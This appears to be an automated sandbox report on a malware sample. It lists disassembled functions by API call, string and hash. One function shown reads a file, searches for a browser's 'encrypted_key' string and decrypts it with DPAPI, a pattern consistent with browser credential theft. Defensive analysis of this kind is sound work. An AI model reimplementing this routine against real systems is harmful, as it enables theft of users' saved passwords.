RegQueryValueExA.KERNEL32(00000000,026095A0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B24), ref: 00418039
RegCloseKey.KERNEL32(00000000), ref: 004180A8
RegCloseKey.ADVAPI32(00000000), ref: 004180BA

Strings

%s\%s, xrefs: 00417EED

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: f8d8b98591cc8530eedf35a3a8f93d500dd07e40f4c1d474174918ececd91454
Instruction ID: 0d61fbe7999a289fff57b0559f919f0328d455d47faa6f76a7bc41a93025e826
Opcode Fuzzy Hash: f8d8b98591cc8530eedf35a3a8f93d500dd07e40f4c1d474174918ececd91454
Instruction Fuzzy Hash: 2B211971A0021CABDB24DF54DC85FD9B7B9FB48714F00C199A609A6280DF756AC6CF98

Function 00404800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 0040483A
??_U@YAPAXI@Z.MSVCRT ref: 00404851
??2@YAPAXI@Z.MSVCRT ref: 00404868
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Strings

<, xrefs: 00404819

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: ??2@CrackInternetlstrlen
String ID: <
API String ID: 184842949-4251816714
Opcode ID: e5f29cefa4dd9598d5af44d4b7297b32cb790e355d029db3f3dd4240a19260d9
Instruction ID: 93cf72731df314aae8b190796811ac6c8ed605cccc68025416595ba5c6ffb16c
Opcode Fuzzy Hash: e5f29cefa4dd9598d5af44d4b7297b32cb790e355d029db3f3dd4240a19260d9
Instruction Fuzzy Hash: 0A2129B1D00208ABDF14DFA5E849ADD7B75FF44364F108229F926A72D0DB706A05CF95

Function 00417130 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
HeapAlloc.KERNEL32(00000000), ref: 0041714B
RegOpenKeyExA.KERNEL32(80000002,025E88F8,00000000,00020119,00000000), ref: 0041717D
RegQueryValueExA.KERNEL32(00000000,02609528,00000000,00000000,?,000000FF), ref: 0041719E
RegCloseKey.ADVAPI32(00000000), ref: 004171A8

Strings

Windows 11, xrefs: 0041715D

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction ID: 198b37f2a351322ee600fb862932720b373255b2f394089b4190a5419862cb8c
Opcode Fuzzy Hash: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction Fuzzy Hash: 4C018F74A40208BFEB10DFE4DD49FAE7779EB08710F104098FA0997290D6749A428B64

Function 004171C0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004171D4
HeapAlloc.KERNEL32(00000000), ref: 004171DB
RegOpenKeyExA.KERNEL32(80000002,025E88F8,00000000,00020119,00417159), ref: 004171FB
RegQueryValueExA.KERNEL32(00417159,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041721A
RegCloseKey.ADVAPI32(00417159), ref: 00417224

Strings

CurrentBuildNumber, xrefs: 00417211

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction ID: 00cad297c96af00baba5933f046dbcc6cd847f8af16dedc1aa1025fe7f1f3d79
Opcode Fuzzy Hash: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction Fuzzy Hash: EE014FB9A40708BFDB10DFE0DC4AFAEB779EB08704F104558FA05A7291D674AA418B55

Function 00413BC0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00413BE5
RegOpenKeyExA.KERNEL32(80000001,02609DA0,00000000,00020119,?), ref: 00413C04
RegQueryValueExA.ADVAPI32(?,02609798,00000000,00000000,00000000,000000FF), ref: 00413C28
RegCloseKey.ADVAPI32(?), ref: 00413C32
lstrcat.KERNEL32(?,00000000), ref: 00413C57
lstrcat.KERNEL32(?,0260A100), ref: 00413C6B

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: d4db36429f90b718e22daca015467a858ebeea603ee9fe30967bea3d45dd3f7a
Instruction ID: 29de2a712fc1e2dfcbf32ad4341a25eb625067ccdef54b7492a2b75d077fe01c
Opcode Fuzzy Hash: d4db36429f90b718e22daca015467a858ebeea603ee9fe30967bea3d45dd3f7a
Instruction Fuzzy Hash: 1841B8B69001086BDB24EBA0DC46FEE733DAB88304F00895DB619561D1FEB957CC8BD5

Function 00413070 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413098

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

strtok_s.MSVCRT ref: 004131E1

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,025E4B48,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 56a7a2eaca477f508df01b6ae7b581fc7ce2bfc03d470372eaf33e70fda0dad6
Instruction ID: 79a306a9ddce9c6cdb539d8aaa48a82ffdeeeca754e5da37ea89086183b8fd1c
Opcode Fuzzy Hash: 56a7a2eaca477f508df01b6ae7b581fc7ce2bfc03d470372eaf33e70fda0dad6
Instruction Fuzzy Hash: 87416371E01108ABCB04EFE5DC89AEEB774BF44314F00801EE51677251DB78AA95CF9A

Function 00409A10 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
LocalFree.KERNEL32(00410127), ref: 00409AE0
FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID:
API String ID: 1815715184-0
Opcode ID: 2dddbfb2c0619b2a6c579a249d01c1d9c1681de6d9b22ca5e1b21f04b3ff7f38
Instruction ID: 9a616c59c25f48dda5b41b64f2eda75996ce8e2783f016847e561ac14b63f668
Opcode Fuzzy Hash: 2dddbfb2c0619b2a6c579a249d01c1d9c1681de6d9b22ca5e1b21f04b3ff7f38
Instruction Fuzzy Hash: 5D310AB4A00209EFDB24CF95C895BAE7BB5BF48314F108169E911A73D0D778AD41CFA5

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction ID: 3a295e2926d3a661784167dae5cc93d3585e5da9a2cb48fc087cd8b2851d2611
Opcode Fuzzy Hash: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction Fuzzy Hash: 8601FBB0D40308BAEB10EBE4DD49B9EBB78AB14705F20809EEA05B62D0D7785585875D

Function 00409D30 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D89

Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B3F
Part of subcall function 00409B10: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 00409B51
Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B7A
Part of subcall function 00409B10: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 00409B8F

memcmp.MSVCRT ref: 00409DE2

Part of subcall function 00409BB0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
Part of subcall function 00409BB0: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
Part of subcall function 00409BB0: memcpy.MSVCRT ref: 00409C16
Part of subcall function 00409BB0: LocalFree.KERNEL32(?), ref: 00409C23

Strings

DPAPI, xrefs: 00409DD9
"encrypted_key":", xrefs: 00409D80
, xrefs: 00409E11

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$ChangeCloseCreateDataFindNotificationReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 596995583-738592651
Opcode ID: c5d85001ada9da0948c4e6a5f2fc00b447c755276a666ca92b756a4a65e0b23d
Instruction ID: 7f392d33d6ad21de2d61bb21213a98381b23072c845d074b64d64ac31095145a
Opcode Fuzzy Hash: c5d85001ada9da0948c4e6a5f2fc00b447c755276a666ca92b756a4a65e0b23d
Instruction Fuzzy Hash: 7A3150B5D00108ABCB04DBE4DC45AEF77B8AF48304F44856AE915B3282E7789E44CBA5

Function 6CACC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CACC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CACC969
GetSystemInfo.KERNEL32(?), ref: 6CACC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CACC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CACC9E2

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 1a4c0aa6113f6a3ff5ce9e0a6111f6b797bbdafbffe53bf25980b634c84ac019
Instruction ID: aee38c62587c56b532d8e8e67f91d8dc2e4fd111d888452f3a48b54106d735c0
Opcode Fuzzy Hash: 1a4c0aa6113f6a3ff5ce9e0a6111f6b797bbdafbffe53bf25980b634c84ac019
Instruction Fuzzy Hash: 58215131741628ABDB15AB68DC88BAE7779FF46708F50051EF90BA7B80DB305C848791

Function 004178A0 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
HeapAlloc.KERNEL32(00000000), ref: 004178DE
RegOpenKeyExA.KERNEL32(80000002,025E8E00,00000000,00020119,?), ref: 004178FE
RegQueryValueExA.KERNEL32(?,02609F20,00000000,00000000,000000FF,000000FF), ref: 0041791F
RegCloseKey.ADVAPI32(?), ref: 00417932

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction ID: 7b98265181db112957e654b40feb51e707849e62a0e01f8308d40af4a82c50e7
Opcode Fuzzy Hash: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction Fuzzy Hash: EB11C1B1A04605AFDB10CF84DD4AFBFBB79FB48B10F10411AF605A7280D7785805CBA5

Function 004012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
RegCloseKey.ADVAPI32(?), ref: 004012FF

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
